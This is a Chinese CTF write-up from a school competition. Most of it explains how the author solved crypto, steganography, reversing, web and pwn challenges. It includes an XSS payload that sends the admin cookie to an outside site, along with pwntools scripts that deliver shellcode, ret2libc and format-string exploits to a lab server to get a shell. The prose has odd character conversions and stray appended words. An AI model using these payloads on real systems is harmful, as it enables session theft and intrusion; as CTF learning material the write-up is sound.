今年學校的大佬們又辦了CTF比賽,我也繼續湊了一下熱鬧,記一下writeupphp
完成狀況: 21 / 22python
簽到題,無需多言,直接提交便可linux
求最大質因數。沒有本身算,由於有一個網站 存了大質數的數據庫,能夠直接查ios
看到等於號結尾,猜測多是base64, 解碼之,獲得一堆點和槓的組合,明顯是莫爾斯碼,因而找到在線解碼網站解之。web
圖片隱寫題。用 StegSolver 打開,左右翻了一下,發如今某一個通道藏了一個二維碼,仍是比較明顯的,掃之。shell
用wireshark打開抓包文件,發現是一些USB相關的數據。數據庫
結合提示,應該是抓的鍵盤的包。百度了一下發如今數據中有中斷信號能夠判斷出是按了哪個鍵。windows
找到了網上的一個教程和一篇說明鍵盤中斷碼的文檔,首先能夠用wireshark自帶的一個程序導出這些數據,而後根據文檔人肉查表找到了鍵盤記錄,也就是 flag數組
導出語句:bash
tshark.exe -r xxxxxxx.pcap -T fields -e usb.capdata > usbdata.txt
Apk首先提取出來classes.dex , 用 dex2jar 處理成jar。
而後jd-gui打開,直接看代碼。
發現if語句中判斷一個全是看上去是ASCII碼的數字的數組,寫個腳本用chr()
把這些數字轉成ASCII便可獲得flag。
一開始沒讀懂題,後來發現題目的暗示,是XSS攻擊。
好比,在用戶名提交 <script>location.href=http://我的網站/+document.cookie</script>
,請求本身的網站。
而後到後臺看log發現請求參數是果真就是咱們想要的管理員的 cookie 也就是flag
題目比較基礎,沒有對提交的東西作任何過濾
很基礎的一道pwn題。
直接溢出覆蓋後面的變量,使得if語句得以執行,正好給出的數是能夠由 ASCII 字符組成,因而提交 ‘aptx’ * 66 , 正好覆蓋變量,拿到flag
網站上顯示的文章百度之,發現是一篇沒有e的文章,也就是暗示0e,再加上說是php,也就是指向了php的md5() 用 == 判斷的一個問題。
構造一個md5以後是0e打頭的字符串,會被php認爲是數字進行比較,由於太大變成0,由於php是弱類型語言,因而 == 號成立,驗證經過,拿到flag。
網上有不少 php 的弱類型比較 的相關文章,這題的關鍵是領會出題人的暗示
拿到了wifi的數據包,能夠找個經常使用字典用 aircrack-ng
來暴力破解密碼, 題目密碼比較弱,秒出(暴力xx不可取)
題目暗示是.NET, 反編譯之。發現resources裏藏了一個exe,並且main函數裏把每一個字節異或了99以後才Invoke執行的。
拿出exe跑個腳本每一個字節異或下,又是一個.NET程序。接着反編譯之。邏輯很簡單,分別用 md5, base64, sha1 來處理一下。其中md5和sha1雖然是不對稱加密,可是常見的原文都是能夠網上查的。
import sys file1_b = bytearray(open('./ReflectionShell.ReflectionCore.exe', 'rb').read()) size = len(file1_b) xord_byte_array = bytearray(size) # XOR for i in range(size): xord_byte_array[i] = file1_b[i] ^ 99 # Write the XORd bytes to the output file open('xx.exe', 'wb').write(xord_byte_array)
IDA之,發現這是一個printf的格式化字符串來構造溢出的題目。利用這個能夠把已經存在棧裏的 flag 輸出出來。
只要計算好偏移位置能夠任意地址輸出和寫入, 本題的 exploit 輸入爲 "%6$s"
解壓文件夾,獲得一個pyc文件。但是文件名有點奇怪,爲啥強調cpython-36
呢?(後來發現想錯了,都帶這個,不過搜這個真的能找到講隱寫的文章) 百度一下發現有一個pyc的隱寫工具stegosaurus
,從網站上下載下來運行就能夠extract出來flag了。
題目暗示要dll劫持。分析dll發現導出了兩個函數 _0
和 _1
, 二維碼說要考慮函數的調用順序。
因而感受可能答案是01串吧。本身編譯一個dll,這個dll裏 _0
和 _1
分別輸出 0 和 1,替換原來的dll,也就是dll劫持,運行果真獲得01串
找一個網站 binary 2 ascii
,獲得 flag
經過這個題學習了windows裏咋編譯dll,收穫挺大的,以前VS都不多用
#include "Flag.h" #include "stdafx.h" #include <iostream> using namespace std; __declspec(dllexport) void _0() { cout << "0"; } __declspec(dllexport) void _1() { cout << "1"; } int main() { cout << "fuck" << endl; return 0; }
這道題目說是 AES-CTR 加密。後綴名暗示這是一個wmv文件。查到wmv文件的前16個字節是固定的,因而已知16字節的明文密文對。而後又找到多個wmv文件對比,發現有一行必定是全0, 因而又找到一串明文密文對,明文異或密文就能夠獲得 key和counter AES以後的結果。
驚奇的發現兩對獲得的結果居然同樣,說明counter根本沒有變。因此只要每一個16字節都異或這一串就能夠獲得原文啦。
# from Crypto.Util import Counter # from Crypto.Cipher import AES def main(): known_plain = bytes.fromhex('3026B2758E66CF11A6D900AA0062CE6C') known_cipher = bytes.fromhex('3e8652327e4d1a0e871865eb29485dcc') # plain_0 = '0' * 16 # cipher_0 = '0ea0e047f02bd51f21c16541292a93a0' key = bytearray(16) for i in range(16): key[i] = known_cipher[i] ^ known_plain[i] key = bytes(key) key_aes_iv = bytes(key) cipher = open('./flag.wmv.enc', 'rb').read() # ctr = Counter.new(128) # decryptor = AES.new(key=key, mode=AES.MODE_CTR, counter=ctr) # plain = decryptor.decrypt(cipher) l = len(cipher) plain = bytearray(l) for i in range(l): plain[i] = cipher[i] ^ (key[i % 16]) f = open('plain.wmv', 'wb') f.write(plain) f.close() if __name__ == '__main__': main()
打開以後發現自動識別編碼是 GBK,發現是一堆雨字頭的中文,加一些標點符號和數字。
由於符號和數字沒有加密,標點符號什麼的也很正常,因而猜想是用了替代密碼。 多是把英文文章裏的字母替換成了漢字
寫了一個腳本用來統計其中的漢字的出現次數,同時也發現有 25 個漢字,和字母的個數差很少,近一步驗證了想法。
以後就是查找字母頻率進行替代。先給出一個大體的順序替代,根據看文章的出現經常使用單詞來交換不正確的,最後獲得原文,flag也在其中
def is_chinese(uchar): if uchar >= u'\u4E00' and uchar <= u'\u9FA5': return True else: return False def wordcount(f, encoding): d = {} try: with open(f, 'r') as txt: for line in txt: u = line for uchar in u: if is_chinese(uchar): if uchar in d.keys(): d[uchar] += 1 else: d[uchar] = 1 except IOError as ioerr: print("error") return d def analyse(word_dict): count_sum = 0 for k, v in word_dict.items(): count_sum += v sd = sorted(word_dict.items(), key=lambda x: x[1], reverse=True) print(sd) exchange(sd) def exchange(word_dict): freq = ['e', 't', 'a', 'n', 'i', 's', 'o', 'h', 'r', 'd', 'l', 'u', 'f', 'g', 'w', 'p', 'b', 'y', 'c', 'm', 'v', 'k', 'j', 'x', 'q'] # 手動改這裏看結果 res = {} for i, (k, v) in enumerate(word_dict): res[k] = freq[i] newfile = open('plain.txt', 'w') with open('ss.txt', 'r') as txt: for line in txt: newline = ''.join([res[ch] if is_chinese(ch) else ch for ch in line]) print(newline) newfile.write(newline) print(res) if __name__ == '__main__': d = wordcount('./ss.txt', 'utf-8') analyse(d)
首先運行,發現是輸入一個字符串。應該是加密後比較,正確的原文就是flag
而後IDA之,發現裏面沒有詳細的函數名,跳轉也比較複雜,因而先從裏面的字符串下手。
strings 的結果中找到了一串大寫字母,多是加密後的明文。IDA裏查找字符串,果真找到了函數
分析後找到了所謂的加密函數,沒看懂, 因而提取出來函數,嘗試加密看結果
發現加密後的長度是原來的二倍,並且後一個字母的加密結果依賴於前面的加密結果,輸入tj{
果真前幾個都同樣
因而開始寫代碼爆破,最後獲得告終果
#include <cstdio> #include <cstring> // encrypt(a,b) 是反編譯的結果裏提取出來的加密函數 const char *dest = "EJAFDTHQDVCWJDDSJNDHCJEZCGJSJKGREIFAHVDKIICBHLJFJQEUFMFWCQIUFLHGCFGWJABIFMGEEM"; void brute() { char a[100]; char b[100]; char c[100]; for (int i = 0; i < 100; ++i) a[i] = 0; a[0] = 't'; a[1] = 'j'; a[2] = '{'; for (int i = 3; i < 39; ++i) { for (char ch = 0; ch < 128; ++ch) { a[i] = ch; for (int _ = 0; _ < 100; ++_) b[_] = 0; encrypt(a, b); strncpy(c, dest, 2*(i+1)); c[2*(i+1)] = 0; if (strcmp(b, c) == 0) { break; } } printf("%s\n", a); } } int main() { brute(); return 0; }
這題跟前兩題不太同樣,內存裏沒有flag,不過查看代碼能夠看到一句 call eax
運行 checksec
發現開了Canary棧保護可是沒開NX,因此咱們能夠在棧上寫入shellcode
代碼而且會由於那句call eax
而執行
from pwn import * sh = remote('10.10.175.209', 10003) # sh = process('./pwn300') payload = asm(shellcraft.i386.linux.sh()) print payload sh.sendline(payload) sh.interactive() sh.close()
解壓文件,發現包含了一個完整的 python 環境還有一個 flag.pyc, 直接執行pyc發現要輸入密碼。
確定是要反編譯這個pyc了,然而經常使用的uncompyle6直接報錯,看來問題是出在題目自帶的python環境了。
查找題目給的python自帶的包,發現了一個dis庫,import的時候提示缺乏opcode.py
, 把系統裏的放進去,能import了,然而用的時候又出錯了。
因而問題就鎖定在這個opcode.py了。通過查找資料發現,python有一種常見的混淆方法就是本身魔改一個解釋器,把bytecode
表明的數字作個替換,讓普通的反編譯手段沒法生效,不過發佈軟件要自帶解釋器,看來就是這個緣由了。
分別在兩個解釋器寫一個相同的函數,而後輸出func.__code__.co_code
,果真不一樣,驗證了本身的猜測
因而咱們就須要根據正確的opcode來尋找到底替換了什麼。我採用的方法是編寫一個包含全部opcode的python代碼,分別用正常的解釋器編譯和用題目的解釋器編譯,而後解析二進制文件,查找到底哪一個opcode被替換了,而後本身再編譯一個使用錯誤opcode的反編譯器,獲得源碼,獲取flag。
反編譯用的是GitHub上找的一個C++寫的庫,由於能夠本身修改opcode從新編譯。
對比pyc的代碼:
import sys import marshal opmap = {} def compare(cobj1, cobj2): codestr1 = bytearray(cobj1.co_code) codestr2 = bytearray(cobj2.co_code) if len(codestr1) != len(codestr2): print("two cobj has different length, skipping") return i = 0 while i < len(codestr1): if codestr1[i] not in opmap: opmap[codestr1[i]] = codestr2[i] else: if opmap[codestr1[i]] != codestr2[i]: print(codestr1[i], ' -> ', codestr2[i]) print("error: has wrong opcode") break if codestr1[i] < 90: i += 1 elif codestr1[i] >= 90: i += 2 else: print("wrong opcode") for const1, const2 in zip(cobj1.co_consts, cobj2.co_consts): if hasattr(const1, 'co_code') and hasattr(const2, 'co_code'): compare(const1, const2) def usage(): print("Usage: %s filename1.pyc filename2.pyc") def main(): if len(sys.argv) != 3: usage() return cobj1 = marshal.loads(open(sys.argv[1], 'rb').read()) cobj2 = marshal.loads(open(sys.argv[2], 'rb').read()) compare(cobj1, cobj2) res = {} for k, v in opmap.items(): if k != v: # res[bytes((v,))] = bytes((k,)) res[v] = k print(res) for k, v in res.items(): print(k, '->', v) if __name__ == '__main__': main()
修改以後反編譯獲得python代碼是一堆if語句,最後寫一個獲取flag的腳本就好了
這道題也沒有將flag讀到內存裏,看來須要拿到shell才行
objdump一下,發現裏面有system@plt
, 因而只須要構造棧溢出而後覆蓋返回地址就能夠了
至於 "/bin/sh" 字符串嘛,程序里正好有一個 "small fish" 字符串,咱們能夠計算其中的 "sh" 的地址構造exploit
最後順利拿到shell
代碼
from pwn import * r = remote('10.10.175.209', 10004) system_arg = p32(0x80485d3 + 8) payload = 'A' * 0x100 + 'a' * 16 + p32(0x08048380) + 'b' * 4 + system_arg r.sendline(payload) r.interactive()
這個題目也是內存中沒有flag,須要那shell, 不過此次既沒有 system 也沒有 shell,並且開了NX,不能寫shellcode了
不過觀察Kid函數能夠發現,scanf函數能夠溢出,並且printf函數能夠利用格式化字符串漏洞讀寫任意合法地址
查閱資料能夠知道 plt 和 got 的原理,只須要知道函數在libc.so中的偏移差,就能夠用一個函數的真實地址計算出另外一個函數的真實地址了
在gdb中調試能夠在棧裏找到一個 __libc_start_main
的實際地址,因而能夠用printf將其泄露出來,計算出 system 地址
偏移地址的計算能夠藉助一個libc-database
的庫,至於libc版本,能夠用pwn400拿到shell後去看,由於pwn題都在一個服務器上
但是咱們還須要第二次發送,因而能夠棧溢出覆蓋函數的返回地址改爲仍是這個Kid函數,從而能夠第二次執行輸入
用 objdump -h
能夠查找到 .bss
段的地址
咱們的第二次輸入能夠利用printf的%n的任意寫的漏洞,將 "/bin/sh" 寫入到 .bss
段中,而後這個payload的返回地址就是system,參數是咱們寫入的這個地址,最後成功拿到shell
# %83$p # then libc-database get system_addr and bash_addr from pwn import * DEBUG = 0 # r = process('./pwn500') r = remote('10.10.175.209', 10005) # if DEBUG: context.terminal = ['deepin-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(r)[0]) # kid_addr = p32(0x0804854d) payload = '%83$p' + 'A' * (0x100 + 16 - 5) + kid_addr r.sendline(payload) res = r.recv(1024) print res start_addr = int(res[0:10], 16) print 'start_main_addr:', hex(start_addr) # system_addr = start_addr - 0x18637 + 0x0003a940 sh_addr = start_addr - 0x18637 + 0x15900b # failed why ? print 'system_addr:', hex(system_addr) print 'sh_addr:', hex(sh_addr) # 0x804a070 在bss段, 用 "sh" 寫入, 也就是 \x73\x68\x00\x00 payload2 = fmtstr_payload(7, {0x0804a070: 0x00006873}) payload2 += 'B' * (0x100 + 16 - len(payload2)) + p32(system_addr) + kid_addr + p32(0x0804a070) r.sendline(payload2) r.interactive()
代碼寫得很醜......
最後祝黃渡理工的 CTF 和計算機相關專業發展的愈來愈好!